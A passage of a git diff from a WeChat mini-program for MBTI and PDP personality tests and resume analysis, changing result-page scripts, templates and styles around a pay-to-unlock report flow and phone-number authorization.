- .catch(() => { - // 保持在当前页,等待用户重新点击 - }) - }, - - retakeTest() { - if (!this.data.testResultId) { - wx.removeStorageSync('mbtiResult') - } - wx.navigateTo({ url: '/pages/test/mbti' }) - }, - - goHome() { - const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' - if (scope === 'enterprise') { - wx.navigateTo({ url: '/pages/enterprise/index' }) - } else { - wx.switchTab({ url: '/pages/index/index' }) - } - }, - - onShareAppMessage() { - const result = this.data.result - const { getSharePathByScope } = require('../../utils/share') - return { - title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, - path: getSharePathByScope('/pages/index/index'), - imageUrl: '/images/share-mbti.png' - } - }, - - onShareTimeline() { - const result = this.data.result - const { buildShareQuery } = require('../../utils/share') - return { - title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, - query: buildShareQuery() - } - } -}) +// pages/result/mbti.js - MBTI结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + result: null, + dimensions: [], + mbtiDesc: { + title: '', + description: '', + strengths: [], + weaknesses: [], + careers: [], + relationships: '' + }, + payInfo: { + requiresPayment: false, + isPaid: false, + amountYuan: 0 + }, + testResultId: null, + hasReloadedAfterPay: false, + hasPhone: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + + if (id && type === 'mbti') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + + const result = wx.getStorageSync('mbtiResult') + if (result) { + this.applyResult(result) + this.initPayInfoFromRuntime('mbti') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { + wx.showToast({ title: '配置异常', icon: 'none' }) + return + } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.applyResult(data) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + applyResult(result) { + if (!result) return + const desc = result.description || {} + const dimensions = (result.dimensionScores && !result.locked) + ? [ + { key: 'EI', left: '外向(E)', right: '内向(I)', ...result.dimensionScores.EI }, + { key: 'SN', left: '感觉(S)', right: '直觉(N)', ...result.dimensionScores.SN }, + { key: 'TF', left: '思考(T)', right: '情感(F)', ...result.dimensionScores.TF }, + { key: 'JP', left: '判断(J)', right: '知觉(P)', ...result.dimensionScores.JP } + ] + : [] + this.setData({ + result, + dimensions, + mbtiDesc: { + title: desc.name || '', + description: desc.description || '', + strengths: desc.strengths || [], + weaknesses: desc.weaknesses || [], + careers: desc.careers || [], + relationships: desc.relationships || '' + } + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const pricing = cfg.pricing || {} + const reportRequires = cfg.reportRequiresPayment || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { + requiresPayment, + isPaid: false, + amountYuan + } + }) + }) + .catch(() => { + this.setData({ + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } + }) + }) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + payment.purchaseMbtiTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + // 付费解锁按钮:就地触发微信手机号授权,然后调用 unlockFullReport + onGetPhoneNumberForMbtiPay(e) { + if (!ensureProfileCompleteAndRedirect()) return + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + this.unlockFullReport() + return + } + if (!code) { + if (hasPhone()) { + this.unlockFullReport() + } else { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.unlockFullReport() + }) + .catch(() => { + // 保持在当前页,等待用户重新点击 + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('mbtiResult') + } + wx.navigateTo({ url: '/pages/test/mbti' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index'), + imageUrl: '/images/share-mbti.png' + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/mbti.json b/miniprogram/pages/result/mbti.json index 4f43927..69463c1 100644 --- a/miniprogram/pages/result/mbti.json +++ b/miniprogram/pages/result/mbti.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "MBTI结果", - "navigationBarBackgroundColor": "#FF6B8A", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "MBTI结果", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/mbti.wxml b/miniprogram/pages/result/mbti.wxml index fee9687..87aa867 100644 --- a/miniprogram/pages/result/mbti.wxml +++ b/miniprogram/pages/result/mbti.wxml @@ -1,116 +1,107 @@ - - - - - - - 您的MBTI性格类型 - {{result.mbtiType}} - {{mbtiDesc.title}} - {{mbtiDesc.description}} - - - - - - - 完整性格分析 - • 四维得分与主导倾向 - • 优势与需要注意的方面 - • 职业匹配与人际关系建议 - - - - - 完善资料 - - - - - - 解锁完整报告 - ¥{{payInfo.amountYuan}} / 次 - - - - - - - - - {{item.left}} - {{item.right}} - - - - - - {{item.dominant}} - {{item.percentage}}% - - - - - - - 性格特征分析 - - 优势 - - - {{item}} - - - - - 需要注意的方面 - - - {{item}} - - - - - - 职业匹配度分析 - - - {{item}} - - - - - 人际关系分析 - {{mbtiDesc.relationships}} - - - - - - 重新测试 - - - 返回首页 - - - - - + + + + + + + 您的MBTI性格类型 + {{result.mbtiType}} + {{mbtiDesc.title}} + {{mbtiDesc.description}} + + + + + + + 完整性格分析 + • 四维得分与主导倾向 + • 优势与需要注意的方面 + • 职业匹配与人际关系建议 + + + + + + + + + + + + + {{item.left}} + {{item.right}} + + + + + + {{item.dominant}} + {{item.percentage}}% + + + + + + + 性格特征分析 + + 优势 + + + {{item}} + + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + 人际关系分析 + {{mbtiDesc.relationships}} + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/pdp.js b/miniprogram/pages/result/pdp.js index f5860c6..72316fc 100644 --- a/miniprogram/pages/result/pdp.js +++ b/miniprogram/pages/result/pdp.js @@ -1,171 +1,157 @@ -// pages/result/pdp.js - PDP结果页(支持付费墙 + 历史详情拉取) -const app = getApp() -const payment = require('../../utils/payment') -const { isProfileComplete } = require('../../utils/phoneAuth.js') - -const PDP_KEYS = ['Tiger', 'Peacock', 'Koala', 'Owl', 'Chameleon'] - -function toIntPercent(v) { - if (v == null) return 0 - const n = typeof v === 'number' ? v : Number(v) - return Number.isFinite(n) ? Math.round(n) : 0 -} - -function withPercentagesInt(data) { - if (!data) return data - const p = data.percentages || {} - const out = { ...data } - const ints = {} - PDP_KEYS.forEach((k) => { ints[k] = toIntPercent(p[k] ?? p[k.toLowerCase()]) }) - out.percentagesInt = ints - return out -} - -Page({ - data: { - result: null, - typeList: [ - { type: 'Tiger', emoji: '🐅', label: '老虎型', colorClass: 'fill-tiger' }, - { type: 'Peacock', emoji: '🦚', label: '孔雀型', colorClass: 'fill-peacock' }, - { type: 'Koala', emoji: '🐨', label: '考拉型', colorClass: 'fill-koala' }, - { type: 'Owl', emoji: '🦉', label: '猫头鹰型', colorClass: 'fill-owl' }, - { type: 'Chameleon', emoji: '🦎', label: '变色龙型', colorClass: 'fill-chameleon' } - ], - payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, - testResultId: null, - hasReloadedAfterPay: false, - isProfileComplete: false, - maintenanceMode: false - }, - - onShow() { - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ isProfileComplete: isProfileComplete(), maintenanceMode }) - }, - - onLoad(options) { - const id = options && options.id - const type = options && options.type - if (id && type === 'pdp') { - this.setData({ testResultId: id }) - this.loadDetail(id) - return - } - const result = wx.getStorageSync('pdpResult') - if (result) { - this.setData({ result: withPercentagesInt(result) }) - this.initPayInfoFromRuntime('pdp') - } else { - wx.showToast({ title: '暂无测试结果', icon: 'none' }) - setTimeout(() => wx.navigateBack(), 1500) - } - }, - - loadDetail(id) { - const apiBase = app.globalData?.apiBase || '' - const token = app.globalData?.token || wx.getStorageSync('token') || '' - if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } - wx.showLoading({ title: '加载中...' }) - wx.request({ - url: `${apiBase}/api/test/detail`, - method: 'GET', - header: token ? { Authorization: `Bearer ${token}` } : {}, - data: { id }, - success: (res) => { - if (res.statusCode === 200 && res.data && res.data.code === 200) { - const payload = res.data.data || {} - const data = payload.data || payload - const isPaid = !!payload.isPaid - const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 - const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) - const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) - this.setData({ result: withPercentagesInt(data) }) - const payInfo = { - requiresPayment: needPaymentToUnlock, - isPaid, - amountYuan: needPaymentToUnlock ? amountYuan : 0 - } - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ payInfo, isProfileComplete: isProfileComplete(), maintenanceMode }) - } else { - wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) - } - }, - fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), - complete: () => wx.hideLoading() - }) - }, - - initPayInfoFromRuntime(testType) { - app.getRuntimeConfig() - .then((cfg) => { - const reportRequires = cfg.reportRequiresPayment || {} - const pricing = cfg.pricing || {} - const requiresPayment = !!(reportRequires && reportRequires[testType]) - const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) - this.setData({ - payInfo: { requiresPayment, isPaid: false, amountYuan } - }) - }) - .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) - }, - - goToCompleteProfile() { - wx.navigateTo({ url: '/pages/user-profile/index' }) - }, - - unlockFullReport() { - const { payInfo, testResultId, hasReloadedAfterPay, isProfileComplete } = this.data - if (!isProfileComplete) return - if (!payInfo.requiresPayment || payInfo.isPaid) return - app.ensureLogin && app.ensureLogin().then((logged) => { - if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } - payment.purchasePdpTest({ - testResultId: testResultId || undefined, - success: () => { - wx.showToast({ title: '已解锁完整报告', icon: 'success' }) - this.setData({ 'payInfo.isPaid': true }) - if (testResultId && !hasReloadedAfterPay) { - this.setData({ hasReloadedAfterPay: true }) - setTimeout(() => this.loadDetail(testResultId), 500) - } - }, - fail: () => {} - }) - }) - }, - - retakeTest() { - if (!this.data.testResultId) { - wx.removeStorageSync('pdpResult') - } - wx.navigateTo({ url: '/pages/test/pdp' }) - }, - - goHome() { - const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' - if (scope === 'enterprise') { - wx.navigateTo({ url: '/pages/enterprise/index' }) - } else { - wx.switchTab({ url: '/pages/index/index' }) - } - }, - - onShareAppMessage() { - const result = this.data.result - const { getSharePathByScope } = require('../../utils/share') - return { - title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, - path: getSharePathByScope('/pages/index/index') - } - }, - - onShareTimeline() { - const result = this.data.result - const { buildShareQuery } = require('../../utils/share') - return { - title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, - query: buildShareQuery() - } - } -}) +// pages/result/pdp.js - PDP结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +const PDP_KEYS = ['Tiger', 'Peacock', 'Koala', 'Owl', 'Chameleon'] + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + const ints = {} + PDP_KEYS.forEach((k) => { ints[k] = toIntPercent(p[k] ?? p[k.toLowerCase()]) }) + out.percentagesInt = ints + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'Tiger', emoji: '🐅', label: '老虎型', colorClass: 'fill-tiger' }, + { type: 'Peacock', emoji: '🦚', label: '孔雀型', colorClass: 'fill-peacock' }, + { type: 'Koala', emoji: '🐨', label: '考拉型', colorClass: 'fill-koala' }, + { type: 'Owl', emoji: '🦉', label: '猫头鹰型', colorClass: 'fill-owl' }, + { type: 'Chameleon', emoji: '🦎', label: '变色龙型', colorClass: 'fill-chameleon' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'pdp') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = wx.getStorageSync('pdpResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('pdp') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchasePdpTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('pdpResult') + } + wx.navigateTo({ url: '/pages/test/pdp' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/pdp.json b/miniprogram/pages/result/pdp.json index e924a5f..f9e3a76 100644 --- a/miniprogram/pages/result/pdp.json +++ b/miniprogram/pages/result/pdp.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "PDP结果", - "navigationBarBackgroundColor": "#F59E0B", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "PDP结果", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/pdp.wxml b/miniprogram/pages/result/pdp.wxml index f528d0a..fad5c5b 100644 --- a/miniprogram/pages/result/pdp.wxml +++ b/miniprogram/pages/result/pdp.wxml @@ -1,98 +1,87 @@ - - - - - - - PDP性格类型 - {{result.description.type || result.dominantType}}{{result.description.emoji || ''}} - {{result.description.title}} - {{result.description.description}} - - - - - - 完整PDP报告 - • 五维得分详情 - • 性格特征与团队角色 - • 推荐职业 - - - - 完善资料 - - - 解锁完整报告 - ¥{{payInfo.amountYuan}} / 次 - - - - - - PDP得分详情 - - - {{item.emoji}} {{item.label}} - {{result.percentagesInt && result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} - - - - - - - - - - 性格特征 - - 优势 - - - {{item}} - - - - 需要注意的方面 - - - {{item}} - - - - - - 团队角色 - {{result.description.teamRole}} - - - - 推荐职业 - - - {{item}} - - - - - - - 重新测试 - - - 返回首页 - - - - - + + + + + + + PDP性格类型 + {{result.description.type || result.dominantType}}{{result.description.emoji || ''}} + {{result.description.title}} + {{result.description.description}} + + + + + + 完整PDP报告 + • 五维得分详情 + • 性格特征与团队角色 + • 推荐职业 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + PDP得分详情 + + + {{item.emoji}} {{item.label}} + {{result.percentagesInt && result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 性格特征 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 团队角色 + {{result.description.teamRole}} + + + + 推荐职业 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/resume.json b/miniprogram/pages/result/resume.json index de5d9c8..8d9d593 100644 --- a/miniprogram/pages/result/resume.json +++ b/miniprogram/pages/result/resume.json @@ -1,4 +1,4 @@ -{ - "navigationBarTitleText": "简历综合分析" -} - +{ + "navigationBarTitleText": "简历综合分析" +} + diff --git a/miniprogram/pages/result/resume.wxml b/miniprogram/pages/result/resume.wxml index 316f1f1..730a239 100644 --- a/miniprogram/pages/result/resume.wxml +++ b/miniprogram/pages/result/resume.wxml @@ -1,86 +1,86 @@ - - - - - - - - - {{analyzingTitle || '正在分析中'}} - {{analyzingTip}} - - - - 这个过程可能需要30秒到1分钟,请耐心等待... - - - - - - - - - {{error ? '⚠️' : '📋'}} - - {{error ? '生成失败' : '人才综合评估报告'}} - {{error ? '请检查后重新生成' : '基于测评结果 · AI 综合分析'}} - - - - - - 失败原因 - {{error}} - - 点击重新生成 - - - - - - 🔒 - 报告已生成,需付费解锁 - 完整的简历综合分析报告已生成\n支付后即可查看全部内容 - - 解锁价格 - ¥{{payInfo.amountYuan}} - - - {{paying ? '支付中...' : '立即支付解锁'}} - - - - - - - - {{item.icon}} - {{item.title}} - - - {{item.body}} - - - - - - - 综合分析综评 - {{content}} - - - - - - - 重新分析生成 - - - 返回首页 - - - - - + + + + + + + + + {{analyzingTitle || '正在分析中'}} + {{analyzingTip}} + + + + 这个过程可能需要30秒到1分钟,请耐心等待... + + + + + + + + + {{error ? '⚠️' : '📋'}} + + {{error ? '生成失败' : '人才综合评估报告'}} + {{error ? '请检查后重新生成' : '基于测评结果 · 综合分析'}} + + + + + + 失败原因 + {{error}} + + 点击重新生成 + + + + + + 🔒 + 报告已生成,需付费解锁 + 完整的简历综合分析报告已生成\n支付后即可查看全部内容 + + 解锁价格 + ¥{{payInfo.amountYuan}} + + + {{paying ? '支付中...' : '立即支付解锁'}} + + + + + + + + {{item.icon}} + {{item.title}} + + + {{item.body}} + + + + + + + 综合分析综评 + {{content}} + + + + + + + 重新分析生成 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/resume.wxss b/miniprogram/pages/result/resume.wxss index d7ebde7..ea19cef 100644 --- a/miniprogram/pages/result/resume.wxss +++ b/miniprogram/pages/result/resume.wxss @@ -1,348 +1,386 @@ -/* pages/result/resume.wxss - 简历综合分析结果页 */ -.container { - min-height: 100vh; - background-color: #f5f5f5; - padding: 0 24rpx 60rpx; -} - -/* ========== 分析中模态框 ========== */ -.analyzing-modal { - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - background-color: rgba(0, 0, 0, 0.7); - display: flex; - align-items: center; - justify-content: center; - z-index: 9999; -} - -.analyzing-content { - background-color: #fff; - border-radius: 24rpx; - padding: 80rpx 60rpx; - width: 560rpx; - display: flex; - flex-direction: column; - align-items: center; - box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); -} - -.analyzing-icon { - width: 120rpx; - height: 120rpx; - margin-bottom: 40rpx; - display: flex; - align-items: center; - justify-content: center; -} - -.spinner { - width: 120rpx; - height: 120rpx; - border: 8rpx solid #e0e0e0; - border-top-color: #e63946; - border-radius: 50%; - animation: spin 1s linear infinite; -} - -@keyframes spin { - to { transform: rotate(360deg); } -} - -.analyzing-title { - font-size: 36rpx; - font-weight: 600; - color: #333; - margin-bottom: 16rpx; -} - -.analyzing-desc { - font-size: 28rpx; - color: #e63946; - margin-bottom: 24rpx; - text-align: center; - font-weight: 500; -} - -.analyzing-bar { - width: 400rpx; - height: 12rpx; - background: #e5e5e5; - border-radius: 6rpx; - overflow: hidden; - margin-bottom: 24rpx; -} - -.analyzing-bar-fill { - height: 100%; - background: linear-gradient(90deg, #e63946, #ff6b9d); - border-radius: 6rpx; - transition: width 0.3s ease; -} - -.analyzing-hint { - font-size: 24rpx; - color: #999; - text-align: center; - line-height: 1.6; -} - -/* ========== 顶部 Hero 区域 ========== */ -.hero-banner { - display: flex; - align-items: center; - border-radius: 20rpx; - padding: 32rpx 28rpx; - margin: 24rpx 0; - gap: 20rpx; -} - -.hero-success { - background: linear-gradient(135deg, #1a1a2e 0%, #3a3a5c 100%); -} - -.hero-error { - background: linear-gradient(135deg, #c62828 0%, #e53935 100%); -} - -.hero-icon { - font-size: 64rpx; - line-height: 1; - flex-shrink: 0; -} - -.hero-text-wrap { - display: flex; - flex-direction: column; - gap: 8rpx; -} - -.hero-title { - font-size: 34rpx; - font-weight: 700; - color: #fff; - display: block; -} - -.hero-sub { - font-size: 24rpx; - color: rgba(255, 255, 255, 0.65); - display: block; -} - -/* ========== 通用卡片 ========== */ -.card { - background-color: #fff; - border-radius: 16rpx; - padding: 40rpx 32rpx; - margin-bottom: 24rpx; - box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.05); - word-wrap: break-word; -} - -.card-title { - font-size: 34rpx; - font-weight: 700; - color: #1a1a2e; - display: block; - margin-bottom: 24rpx; - border-left: 8rpx solid #e63946; - padding-left: 20rpx; -} - -.card-text { - font-size: 28rpx; - color: #333; - line-height: 1.8; - display: block; - white-space: pre-wrap; -} - -.error-title { - color: #f44336; - border-left-color: #f44336; -} - -.error-message { - color: #666; - background-color: #f9f9f9; - padding: 20rpx; - border-radius: 12rpx; -} - -.action-btn-retry { - margin-top: 32rpx; - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - height: 88rpx; - border-radius: 44rpx; - display: flex; - align-items: center; - justify-content: center; - box-shadow: 0 6rpx 16rpx rgba(230, 57, 70, 0.25); -} - -.retry-text { - font-size: 30rpx; - color: #fff; - font-weight: 600; -} - -/* ========== 分块卡片 ========== */ -.section-card { - padding: 0; - overflow: hidden; -} - -.section-header { - display: flex; - align-items: center; - padding: 28rpx 32rpx 20rpx; - background: linear-gradient(135deg, #fff5f5 0%, #fff 100%); - border-bottom: 1rpx solid #f5f5f5; -} - -.section-icon { - font-size: 40rpx; - margin-right: 16rpx; - line-height: 1; -} - -.section-title-text { - font-size: 30rpx; - font-weight: 700; - color: #1a1a2e; - flex: 1; - display: block; -} - -.section-body { - padding: 24rpx 32rpx 32rpx; -} - -.section-body .content-text { - font-size: 27rpx; - color: #444; - line-height: 1.9; - letter-spacing: 0.5rpx; -} - -/* ========== 操作按钮 ========== */ -.action-section { - margin-top: 16rpx; - padding-bottom: 40rpx; -} - -.btn { - display: flex; - align-items: center; - justify-content: center; - width: 100%!important; - height: 100rpx; - min-height: 100rpx; - border-radius: 28rpx; - margin-bottom: 20rpx; - padding: 0; - border: none; - line-height: 100rpx; - box-sizing: border-box; - overflow: hidden; -} - -.btn::after { - border: none; -} - -.btn-primary { - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); -} - -.btn-outline { - background: #fff; - border: 2rpx solid #e63946; -} - -.btn-text { - font-size: 32rpx; - font-weight: 600; - color: #fff; -} - -.btn-text-outline { - font-size: 30rpx; - color: #e63946; - font-weight: 500; -} - -/* ========== 支付解锁卡片 ========== */ -.pay-gate-card { - display: flex; - flex-direction: column; - align-items: center; - padding: 60rpx 40rpx 48rpx; - text-align: center; -} - -.pay-gate-icon { - font-size: 80rpx; - margin-bottom: 24rpx; -} - -.pay-gate-title { - font-size: 36rpx; - font-weight: 700; - color: #1f2937; - margin-bottom: 16rpx; -} - -.pay-gate-desc { - font-size: 28rpx; - color: #6b7280; - line-height: 1.6; - margin-bottom: 36rpx; -} - -.pay-gate-amount { - display: flex; - align-items: center; - gap: 16rpx; - background: #fff5f5; - border-radius: 20rpx; - padding: 20rpx 40rpx; - margin-bottom: 40rpx; -} - -.pay-amount-label { - font-size: 26rpx; - color: #6b7280; -} - -.pay-amount-value { - font-size: 52rpx; - font-weight: 800; - color: #e63946; -} - -.pay-gate-btn { - width: 100%; - height: 96rpx; - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - border-radius: 48rpx; - display: flex; - align-items: center; - justify-content: center; - box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); -} - -.pay-gate-btn.paying { - opacity: 0.7; -} - -.pay-gate-btn-text { - font-size: 32rpx; - font-weight: 700; - color: #fff; -} +/* pages/result/resume.wxss - 简历综合分析结果页 */ +.container { + min-height: 100vh; + background-color: #f5f5f5; + padding: 0 24rpx 60rpx; +} + +/* ========== 分析中模态框 ========== */ +.analyzing-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.analyzing-content { + background-color: #fff; + border-radius: 24rpx; + padding: 80rpx 60rpx; + width: 560rpx; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); +} + +.analyzing-icon { + width: 120rpx; + height: 120rpx; + margin-bottom: 40rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.spinner { + width: 120rpx; + height: 120rpx; + border: 8rpx solid #e0e0e0; + border-top-color: #e63946; 